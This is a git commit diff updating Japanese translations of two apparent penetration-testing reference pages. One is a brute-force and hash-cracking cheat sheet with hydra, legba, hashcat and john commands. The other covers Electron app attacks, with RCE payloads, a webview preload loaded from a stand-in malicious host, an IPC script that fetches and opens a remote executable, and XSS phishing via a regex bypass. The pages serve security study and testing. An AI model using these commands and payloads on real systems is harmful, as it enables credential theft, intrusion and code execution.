Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:45 +00:00
parent 63240e4547
commit e631a1b0fd
5 changed files with 135 additions and 74 deletions

View File

@ -4,7 +4,7 @@
## デフォルトの資格情報 ## デフォルトの資格情報
**使用されている技術のデフォルトの資格情報をGoogleで検索**するか、**これらのリンクを試してください** **使用されている技術のデフォルトの資格情報をGoogleで検索**するか、**これらのリンクを試してください**:
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -21,7 +21,7 @@
## **独自の辞書を作成する** ## **独自の辞書を作成する**
ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール:
### Crunch ### Crunch
```bash ```bash
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac ^ Special characters including spac
crunch 6 8 -t ,@@^^%% crunch 6 8 -t ,@@^^%%
``` ```
### Cewl ### ウェブサイトベースのワードリスト
```bash ```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
``` ```
### [CUPP](https://github.com/Mebus/cupp) ### [CUPP](https://github.com/Mebus/cupp)
@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
``` ```
### Docker レジストリ ### Docker Registry
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
``` ```
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
``` ```
### HTTP - ポストフォーム ### HTTP - Post Form
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
@ -271,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
``` ```
**oracle_login**を**patator**で使用するには、**インストール**する必要があります: **oracle_login**を**patator**で使用するには、**install**する必要があります:
```bash ```bash
pip3 install cx_Oracle --upgrade pip3 install cx_Oracle --upgrade
``` ```
@ -395,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
``` ```
#### 弱いSSHキー / Debianの予測可能なPRNG #### 弱いSSHキー / Debianの予測可能なPRNG
一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)のようなツールでブルートフォース攻撃が可能な大幅に減少したキー空間が生じる可能性があります。弱いキーの事前生成されたセットも利用可能であり、例えば[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)があります。 一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キー空間が劇的に減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)のようなツールでブルートフォース攻撃が可能になります。弱いキーの事前生成されたセットも利用可能で、例えば[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)があります。
### STOMP (ActiveMQ, RabbitMQ, HornetQおよびOpenMQ) ### STOMP (ActiveMQ, RabbitMQ, HornetQ および OpenMQ)
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、OpenMQなどの人気のあるメッセージキューサービスとの**シームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。 STOMPテキストプロトコルは、**RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューサービスとのシームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。
```bash ```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt legba stomp --target localhost:61613 --username admin --password data/passwords.txt
``` ```
@ -471,9 +478,9 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### 既知平文ZIP攻撃 #### Known plaintext zip attack
暗号化されたZIP内に含まれるファイルの**平文**または平文の一部を知っている必要があります。暗号化されたZIP内に含まれる**ファイル名とファイルサイズ**を確認するには、次のコマンドを実行します: **`7z l encrypted.zip`**\ 暗号化されたzip内に含まれる**ファイルの** **平文**または平文の一部を知っている必要があります。暗号化されたzip内に含まれる**ファイル名とファイルサイズ**を確認するには、**`7z l encrypted.zip`**を実行します。\
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
@ -528,7 +535,7 @@ Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
``` ```
### キーパス ### Keepass
```bash ```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password keepass2john file.kdbx > hash #The keepass is only using password
@ -536,7 +543,7 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash john --wordlist=/usr/share/wordlists/rockyou.txt hash
``` ```
### ケベロースティング ### Keberoasting
```bash ```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -553,7 +560,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
#### 方法 2 #### 方法2
```bash ```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
@ -585,10 +592,10 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### Open Office パスワード保護された列 ### Open Office パスワード保護された列
パスワードで保護された列を持つ xlsx ファイルがある場合、次のようにして解除できます: パスワードで保護された列を持つ xlsx ファイルがある場合、次のようにして保護を解除できます:
- **Google ドライブにアップロード**すると、パスワードが自動的に削除されます。 - **Google ドライブにアップロード**すると、パスワードが自動的に削除されます。
- **手動で**解除するには: - **手動で**それを**削除**するには:
```bash ```bash
unzip file.xlsx unzip file.xlsx
grep -R "sheetProtection" ./* grep -R "sheetProtection" ./*
@ -701,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
Linuxハッシュのクラッキング - /etc/shadowファイル Linuxハッシュのクラッ - /etc/shadowファイル
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

View File

@ -32,7 +32,7 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
**renderer process**の設定は、main.jsファイル内の**main process**で**設定**できます。いくつかの設定は、**設定が正しく構成されていれば**、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。 **renderer process**の設定は、main.jsファイル内の**main process**で**構成**できます。いくつかの設定は、**設定が正しく構成されている**場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。
Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます: Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます:
@ -42,10 +42,10 @@ Electronアプリケーションは、Node APIを介して**デバイスにア
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。 - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。
- WorkersにおけるNode Integration - WorkersにおけるNode Integration
- **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。 - **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。
- **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js APIs**を使用することを許可します。 - **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js APIs**の使用を許可します。
- **`nodeIntegration`**が**無効**になっている場合、preloadはiframe内で読み込まれます。 - **`nodeIntegration`**が**無効**になっている場合、preloadsはiframe内で読み込まれます。
設定の例: 構成の例:
```javascript ```javascript
const mainWindowOptions = { const mainWindowOptions = {
title: "Discord", title: "Discord",
@ -111,7 +111,7 @@ Electronアプリをローカルで実行できる場合、任意のJavaScript
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
**nodeIntegration**が**on**に設定されている場合、ウェブページのJavaScriptは`require()`を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです: **nodeIntegration**が**on**に設定されている場合、ウェブページのJavaScriptは`require()`を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsで計算機アプリケーションを実行する方法は次の通りです:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -157,7 +157,7 @@ _**contextIsolation**_ は、**ウェブページのスクリプトとJavaScript
コンテキストが分離されていない場合、攻撃者は以下のことができます: コンテキストが分離されていない場合、攻撃者は以下のことができます:
1. **レンダラーで任意のJavaScriptを実行**XSSまたは外部サイトへのナビゲーション 1. **レンダラーで任意のJavaScriptを実行**XSSまたは外部サイトへのナビゲーション
2. プリロードまたはElectron内部コードで使用される**組み込みメソッドを上書き**して自の関数にする 2. プリロードまたはElectron内部コードで使用される**組み込みメソッドを上書き**して自の関数にする
3. **上書きされた関数の使用をトリガー** 3. **上書きされた関数の使用をトリガー**
4. RCE 4. RCE
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
### クリックイベントのバイパス ### クリックイベントのバイパス
リンクをクリックしたときに制限が適用されている場合、通常の左クリックの代わりに**ミドルクリックを行うことでそれをバイパスできるかもしれません** リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりに**ミドルクリック**を行うことでそれをバイパスできるかもしれません。
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
@ -192,7 +192,7 @@ Electronデスクトップアプリケーションを展開する際には、`no
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開くべきであることを示し`shell.openExternal`関数を利用します。 これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクが内部で開かれるべきか、外部のウェブブラウザで開かれるべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開かれるべきであり`shell.openExternal`関数を利用します。
**以下は簡略化された擬似コードです:** **以下は簡略化された擬似コードです:**
@ -200,7 +200,7 @@ webContents.on("will-navigate", function (event, url) {}
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JSのセキュリティベストプラクティスは、`openExternal`関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例さらなる説明については、[このリソース](https://positive.security/blog/url-open-rce#windows-10-19042)を参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。 Electron JSのセキュリティベストプラクティスは、`openExternal`関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例さらなる説明については、[このリソース](https://positive.security/blog/url-open-rce#windows-10-19042)を参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。
macOSでは、`openExternal`関数を悪用して、`shell.openExternal('file:///System/Applications/Calculator.app')`のように任意のコマンドを実行できます。 macOSでは、`openExternal`関数を悪用して、`shell.openExternal('file:///System/Applications/Calculator.app')`のように任意のコマンドを実行できます。
@ -224,13 +224,34 @@ window.open(
) )
</script> </script>
``` ```
## RCE: webviewTag + 脆弱なプリロードIPC + shell.openExternal
この脆弱性は**[このレポート](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**にあります。
**webviewTag**は**非推奨の機能**で、**レンダラープロセス**内で**NodeJS**を使用することを可能にします。これは、プリロードコンテキスト内でスクリプトを読み込むことを許可するため、無効にするべきです。
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
したがって、任意のページを読み込むことができる攻撃者は、そのタグを使用して**任意のプリロードスクリプトを読み込む**ことができます。
このプリロードスクリプトは、その後、**脆弱なIPCサービス`skype-new-window`**を呼び出すために悪用され、**`shell.openExternal`**を呼び出してRCEを取得しました
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## 内部ファイルの読み取り: XSS + contextIsolation ## 内部ファイルの読み取り: XSS + contextIsolation
**`contextIsolation`を無効にすると、ローカルファイルを読み取るために`<webview>`タグを使用できるようになります**。これは`<iframe>`に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています: **`contextIsolation`を無効にすると、ローカルファイルを読み取るために`<webview>`タグを使用できるようになります**。これは`<iframe>`に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用してデータを抽出するためのスクリプトを注入することが含まれます: さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用しデータを抽出するためのスクリプトを注入することが含まれます
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -248,7 +269,7 @@ frames[0].document.body.innerText
``` ```
## **RCE: XSS + Old Chromium** ## **RCE: XSS + Old Chromium**
アプリケーションで使用されている**chromium**が**古い**場合、**既知の****脆弱性**があると、**XSSを通じてそれを悪用しRCEを取得する**ことが可能かもしれません。\ もしアプリケーションで使用されている**chromium**が**古い**もので、**既知の****脆弱性**がある場合、**XSSを通じてそれを****悪用してRCEを取得する**ことが可能かもしれません。\
この**writeup**の例を参照してください: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) この**writeup**の例を参照してください: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass** ## **XSS Phishing via Internal URL regex bypass**
@ -262,25 +283,29 @@ webContents.on("will-navigate", function (event, url) {} // o
``` ```
**`openInternally`**への呼び出しは、**リンク**がプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で**開かれる**か、**ブラウザで3rdパーティリソース**として**開かれる**かを決定します。 **`openInternally`**への呼び出しは、**リンク**がプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で**開かれる**か、**ブラウザで3rdパーティリソース**として**開かれる**かを決定します。
関数使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしていない**場合、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する**新しいウィンドウを開き**、ユーザーに**資格情報を要求する**ことができます。 関数によって使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしない**場合、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する**新しいウィンドウを開き**、ユーザーに**認証情報を要求する**ことができます。
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## `file://` プロトコル
[ドキュメント](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols)に記載されているように、**`file://`** で実行されるページは、あなたのマシン上のすべてのファイルに一方的にアクセスできるため、**XSSの問題を利用してユーザーのマシンから任意のファイルを読み込むことができます**。**カスタムプロトコル**を使用することで、このような問題を防ぐことができ、プロトコルを特定のファイルセットのみを提供するように制限できます。
## リモートモジュール ## リモートモジュール
Electronのリモートモジュールは、**レンダラープロセスがメインプロセスのAPIにアクセスすることを可能にし**、Electronアプリケーション内での通信を促進します。しかし、このモジュールを有効にすると、重大なセキュリティリスクが生じます。アプリケーションの攻撃面が拡大し、クロスサイトスクリプティングXSS攻撃などの脆弱性に対してより脆弱になります。 Electronのリモートモジュールは、**レンダラープロセスがメインプロセスのAPIにアクセスすることを可能にし**、Electronアプリケーション内の通信を促進します。しかし、このモジュールを有効にすると、重大なセキュリティリスクが生じます。アプリケーションの攻撃面が拡大し、クロスサイトスクリプティングXSS攻撃などの脆弱性に対してより脆弱になります。
> [!TIP] > [!TIP]
> **リモート**モジュールはメインからレンダラープロセスへのいくつかのAPIを公開しますが、コンポーネントを悪用するだけでRCEを得るのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。 > **リモート**モジュールは、メインからレンダラーへのプロセスにいくつかのAPIを公開しますが、コンポーネントを悪用するだけでRCEをるのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。
> [!WARNING] > [!WARNING]
> まだリモートモジュールを使用している多くのアプリは、レンダラープロセスで**NodeIntegrationを有効にする必要がある**方法で行っており、これは**巨大なセキュリティリスク**です。 > リモートモジュールをまだ使用している多くのアプリは、レンダラープロセスで**NodeIntegrationを有効にする必要がある**方法で実装されており、これは**大きなセキュリティリスク**です。
Electron 14以降、Electronの`remote`モジュールは、セキュリティとパフォーマンスの理由から**使用しないことが推奨されています**。 Electron 14以降、Electronの`remote`モジュールは、セキュリティとパフォーマンスの理由からいくつかのステップで有効にする必要があり、**使用しないことが推奨されています**。
これを有効にするには、まず**メインプロセスで有効にする必要があります** これを有効にするには、まず**メインプロセスで有効にする必要があります**:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -291,11 +316,11 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
その後、レンダラープロセスはモジュールからオブジェクトをインポートできます。 その後、レンダラープロセスは、モジュールからオブジェクトを次のようにインポートできます:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
**[ブログ記事](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、リモートモジュールのオブジェクト **`app`** によって公開されるいくつかの興味深い **関数** を示しています: **[ブログ記事](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、リモートモジュールのオブジェクト **`app`** によって公開されているいくつかの興味深い **関数** を示しています:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- **現在のインスタンスを終了**し、新しいインスタンスを**起動**することでアプリケーションを**再起動**します。**アプリの更新**や重要な**状態変更**に便利です。 - **現在のインスタンスを終了**し、新しいインスタンスを**起動**することでアプリケーションを**再起動**します。**アプリの更新**や重要な**状態変更**に便利です。
@ -304,13 +329,13 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 指定された**プロトコル**の**デフォルトハンドラー**として現在の実行可能ファイルを**登録**します。必要に応じて**カスタムパス**と**引数**を提供できます。 - 指定された**プロトコル**の**デフォルトハンドラー**として現在の実行可能ファイルを**登録**します。必要に応じて**カスタムパス**と**引数**を提供できます。
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **ジャンプリスト**の**タスクカテゴリ**にタスクを**追加**しますWindows。各タスクはアプリがどのように**起動**されるか、またはどの**引数**が渡されるかを制御できます。 - **ジャンプリスト**の**タスクカテゴリ**にタスクを**追加**しますWindows)。各タスクはアプリがどのように**起動**されるか、またはどの**引数**が渡されるかを制御できます。
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- システムの**証明書ストア**に**PKCS#12証明書**を**インポート**しますLinuxのみ。**コールバック**を使用して結果を処理できます。 - システムの**証明書ストア**に**PKCS#12証明書**を**インポート**しますLinuxのみ。**コールバック**を使用して結果を処理できます。
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- アプリケーションを**アプリケーションフォルダ**に**移動**しますmacOS。Macユーザーのための**標準インストール**を確保するのに役立ちます。 - アプリケーションを**アプリケーションフォルダ**に**移動**しますmacOS。Macユーザーのための**標準インストール**を確保するのに役立ちます。
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **カスタムジャンプリスト**を**設定**または**削除**しますWindows。タスクがユーザーにどのように表示されるかを整理するために**カテゴリ**を指定できます。 - **Windows**上で**カスタムジャンプリスト**を**設定**または**削除**します。タスクがユーザーにどのように表示されるかを整理するために**カテゴリ**を指定できます。
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **ログイン**時に起動する**実行可能ファイル**とその**オプション**を**構成**しますmacOSおよびWindowsのみ - **ログイン**時に起動する**実行可能ファイル**とその**オプション**を**構成**しますmacOSおよびWindowsのみ
```javascript ```javascript
@ -338,7 +363,7 @@ console.log('Recent Places:', recentPlaces);
* **ネイティブmacOS通知**をNSDistributedNotificationCenterを使用して**リッスン**します。 * **ネイティブmacOS通知**をNSDistributedNotificationCenterを使用して**リッスン**します。
* **macOS Catalina**以前は、CFNotificationCenterAddObserverに**nil**を渡すことで**すべての**配布通知をスニッフィングできました。 * **macOS Catalina**以前は、CFNotificationCenterAddObserverに**nil**を渡すことで**すべての**配布通知をスニッフィングできました。
* **Catalina / Big Sur**以降、サンドボックスアプリは**名前**で通知を登録することで、**多くのイベント**(例えば、**画面のロック/ロック解除**、**ボリュームのマウント**、**ネットワークアクティビティ**など)に**サブスクライブ**できます。 * **Catalina / Big Sur**以降、サンドボックス化されたアプリは、通知を**名前**で登録することで、**多くのイベント**(例えば、**画面のロック/ロック解除**、**ボリュームのマウント**、**ネットワークアクティビティ**など)に**サブスクライブ**できます。
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
@ -371,8 +396,8 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools** ## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity)は、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するためのツールです。 - [**Electronegativity**](https://github.com/doyensec/electronegativity)は、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するためのツールです。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)は、Electronegativityを使用するElectronアプリケーションのためのオープンソースのVS Codeプラグインです。 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint)は、Electronegativityを使用するElectronアプリケーションのオープンソースのVS Codeプラグインです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)は、脆弱なサードパーティライブラリをチェックするためのツールです。 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)は、脆弱なサードパーティライブラリをチェックします。
- [**Electro.ng**](https://electro.ng/): 購入が必要です。 - [**Electro.ng**](https://electro.ng/): 購入が必要です。
## Labs ## Labs
@ -409,7 +434,7 @@ npm start
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electronセキュリティに関するさらなる研究と記事は[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)で確認できます。 - Electronセキュリティに関するさらなる研究と記事は[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)で確認できます。
